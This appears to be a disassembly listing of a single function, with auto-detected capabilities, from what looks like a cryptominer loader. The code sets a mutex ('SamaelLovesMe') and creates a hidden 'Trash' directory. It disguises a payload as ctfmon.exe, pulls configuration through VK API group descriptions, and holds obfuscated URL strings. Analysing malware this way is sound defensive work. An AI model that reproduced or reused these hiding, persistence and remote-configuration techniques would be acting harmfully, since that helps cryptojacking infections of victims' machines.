Function at 0x406f40
Capabilities:
Check mutex on windows
Create directory
Create process on windows
Create thread
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1d74
call fcn.00418e80
mov eax, dword [0x42c6dc]
xor eax, esp
mov dword [esp + 0x1d70], eax
movq xmm0, qword [str.67803182_70856039]
mov ax, word [0x428dc8]
push ebx
push esi
push edi
push 0x2e
mov word [esp + 0x64], ax
movq qword [esp + 0x54], xmm0
movq xmm0, qword [0x428dc0]
lea eax, [esp + 0x66]
push 0
push eax
movq qword [esp + 0x64], xmm0
call fcn.0040e930
add esp, 0xc
lea eax, [esp + 0x91]
push 0x3f
push 0
push eax
mov byte [esp + 0x9c], 0
call fcn.0040e930
add esp, 0xc
xorps xmm0, xmm0
push 0x400
push 0x42efe0
mov byte [esp + 0x48], 0
movq qword [esp + 0x49], xmm0
mov dword [esp + 0x51], 0
mov word [esp + 0x55], 0
mov byte [esp + 0x57], 0
mov byte [esp + 0x16], 0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
test eax, eax
jne 0x40700c
mov eax, 0x666666
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1d70]
xor ecx, esp
call fcn.00409fff
mov esp, ebp
pop ebp
ret 0x10
mov edx, str.Ahr0CdOVlZeUBgfSA2fIB3KUEJGUCNuV
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x407014
sub edx, ecx
push 0x40
push 0x42f080
mov ecx, str.Ahr0CdOVlZeUBgfSA2fIB3KUEJGUCNuV
call fcn.00404fa0
mov edx, str.Ahr0CdOVl2HLBgXVywXLC2HHlNj1lNn3DgvZDc5YDs8
add esp, 8
lea ecx, [edx + 1]
lea esp, [esp]
mov al, byte [edx]
inc edx
test al, al
jne 0x407040
sub edx, ecx
push 0x40
push 0x42f038
mov ecx, str.Ahr0CdOVl2HLBgXVywXLC2HHlNj1lNn3DgvZDc5YDs8
call fcn.00404fa0
mov eax, dword [ebp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_CreateMutexA]
add esp, 8
mov dword [0x42f078], eax
push str.SamaelLovesMe
push 1
push 0
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call ebx
cmp eax, 0xb7
jne 0x4070cd
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.SamaelLovesMe
push 1
push 0
call edi
mov edi, eax
call ebx
cmp eax, 0xb7
jne 0x4070cd
push edi
call esi
mov ecx, dword [esp + 0x1d7c]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.00409fff
mov esp, ebp
pop ebp
ret 0x10
mov ecx, str.FirewallGUI.exe
call fcn.00408340
test al, al
jne 0x4070b4
push str.SystemDrive
call fcn.0040be18
mov al, byte [eax]
add esp, 4
mov byte [str.X:.Trash_100], al
push 0
push str.X:.Trash_100
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 2
push str.X:.Trash_100
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 4
mov edx, 0x42dee0
mov ecx, str.version
call fcn.00404c00
mov ecx, str.ActivateDesktop.exe
add esp, 4
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407125
sub ecx, edx
push ecx
mov edx, str.ActivateDesktop.exe
mov ecx, str.framework_exe
call fcn.00404c00
add esp, 4
call fcn.004062f0
call fcn.00406a20
push 0x104
lea edx, [esp + 0x474]
mov ecx, str.miner_exe_name
call fcn.00404da0
add esp, 4
test al, al
je 0x407174
lea ecx, [esp + 0x470]
call fcn.00408240
mov bl, byte [esp + 0xe]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov bh, bl
call fcn.00407e70
push 0x40
lea edx, [esp + 0x94]
mov ecx, str.alter_sources
call fcn.00404da0
add esp, 4
test al, al
push 0x428e00
lea eax, [esp + 0x94]
jne 0x4071af
lea eax, [esp + 0x54]
push eax
call fcn.0040bccf
mov esi, eax
add esp, 8
test esi, esi
je 0x40725d
push str._method_groups.getById.xml_fieldsdescriptiongroup_ids
lea eax, [esp + 0xe4]
push 0x80
push eax
call fcn.0040b2a9
add esp, 0xc
lea eax, [esp + 0xd0]
push str.description
push 0x10
push eax
call fcn.0040b2a9
add esp, 0xc
lea eax, [esp + 0xd78]
push 0
push 0
push 0x1000
push eax
lea edx, [esp + 0xf0]
mov ecx, str.api.vk.com
call fcn.00407860
add esp, 0x10
test al, al
je 0x407235
lea eax, [esp + 0xd78]
push str.banned
push eax
call fcn.0040b770
add esp, 8
test eax, eax
jne 0x407244
mov ecx, esi
call fcn.00406630
test al, al
jne 0x40747b
push 0x428e00
push 0
call fcn.0040bccf
mov esi, eax
add esp, 8
test esi, esi
jne 0x4071c2
test bh, bh
je 0x407499
push 0x800
lea edx, [esp + 0x57c]
mov ecx, str.miners_info
call fcn.00404da0
add esp, 4
lea edx, [esp + 0x370]
push 0x100
mov ecx, str.update_info
call fcn.00404da0
add esp, 4
lea eax, [esp + 0x161]
push 0x103
push 0
push eax
mov byte [esp + 0x16c], 0
call fcn.0040e930
mov al, byte [0x428ce4]
movq xmm0, qword [str.pgH0BwW]
add esp, 0xc
mov byte [esp + 0x28], al
xor eax, eax
push str.X:.Trash_100
mov dword [esp + 0x2d], eax
mov word [esp + 0x31], ax
mov byte [esp + 0x33], al
mov byte [esp + 0x34], al
mov dword [esp + 0x3d], eax
mov word [esp + 0x41], ax
mov byte [esp + 0x43], al
movq qword [esp + 0x24], xmm0
lea eax, [esp + 0x164]
xorps xmm0, xmm0
push 0x104
push eax
movq qword [esp + 0x3d], xmm0
call fcn.0040b2a9
add esp, 0xc
lea eax, [esp + 0x160]
push str.ctfmon.exe
push 0x104
push eax
call fcn.0040b581
lea edx, [esp + 0x2c]
add esp, 0xc
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x407331
lea eax, [esp + 0x30]
sub edx, ecx
push 0x10
push eax
lea ecx, [esp + 0x28]
call fcn.00404fa0
lea eax, [esp + 0x378]
push 0x42dee0
push eax
call fcn.0040b770
lea ecx, [esp + 0x380]
add esp, 0x10
cmp eax, ecx
je 0x407429
mov eax, ecx
push 0x428c2c
push eax
call fcn.0040b770
add esp, 8
lea ecx, [eax + 1]
lea edx, [esp + 0x160]
call fcn.00407f10
test al, al
je 0x407429
lea ecx, [esp + 0x160]
call fcn.00405080
test al, al
je 0x407429
push ecx
lea edx, [esp + 0x34]
lea ecx, [esp + 0x164]
call fcn.00408bb0
add esp, 4
test eax, eax
jne 0x407555
push 0x40
push eax
lea eax, [esp + 0xec]
push eax
mov dword [esp + 0xec], 0x44
call fcn.0040e930
add esp, 0xc
xor eax, eax
mov word [esp + 0x110], ax
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0xe4]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x180]
push eax
push 0
mov dword [esp + 0x134], 0x81
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x407550
test bl, bl
jne 0x407458
push 0
push 0
push 0x405680
call fcn.0040bb6d
add esp, 0xc
push 0
push 0
push 0x406e20
call fcn.0040bb6d
mov byte [esp + 0x1a], 1
mov bl, byte [esp + 0x1a]
add esp, 0xc
lea eax, [esp + 0x578]
push eax
push 0
push 0x405790
call fcn.0040bb6d
add esp, 0xc
push 0x927c0
call edi
jmp 0x407180
push esi
lea eax, [esp + 0x44]
push 0x10
push eax
call fcn.0040b2a9
mov byte [esp + 0x1b], 1
mov bh, byte [esp + 0x1b]
add esp, 0xc
jmp 0x407265
push 0x100
lea edx, [esp + 0x374]
mov ecx, str.update_info
call fcn.00404da0
add esp, 4
test al, al
je 0x4074c6
xor dl, dl
lea ecx, [esp + 0x370]
call fcn.00406490
jmp 0x4074cd
push 0x1388
call edi
push 0x42dee0
lea eax, [esp + 0x26c]
push 0x104
push eax
call fcn.0040b2a9
add esp, 0xc
lea eax, [esp + 0x268]
push 0x428c2c
push 0x104
push eax
call fcn.0040b581
lea ecx, [esp + 0x274]
add esp, 0xc
lea edx, [ecx + 1]
jmp 0x407510
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407510
sub ecx, edx
mov esi, 0x104
mov eax, esi
sub eax, ecx
lea edx, [esp + 0x268]
add edx, ecx
push eax
mov ecx, str.backup_url
call fcn.00404da0
add esp, 4
test al, al
jne 0x40757d
lea ecx, [esp + 0x268]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407547
jmp 0x407561
call fcn.00406380
push 0x3a98
call edi
call fcn.00406400
sub ecx, edx
push 0x42f080
sub esi, ecx
lea eax, [esp + 0x26c]
add eax, ecx
push esi
push eax
call fcn.0040b2a9
add esp, 0xc
push str.reserved.raum_update
lea eax, [esp + 0x26c]
push 0x104
push eax
call fcn.0040b581
add esp, 0xc
xor dl, dl
lea ecx, [esp + 0x268]
call fcn.00406490
call fcn.00406400
int3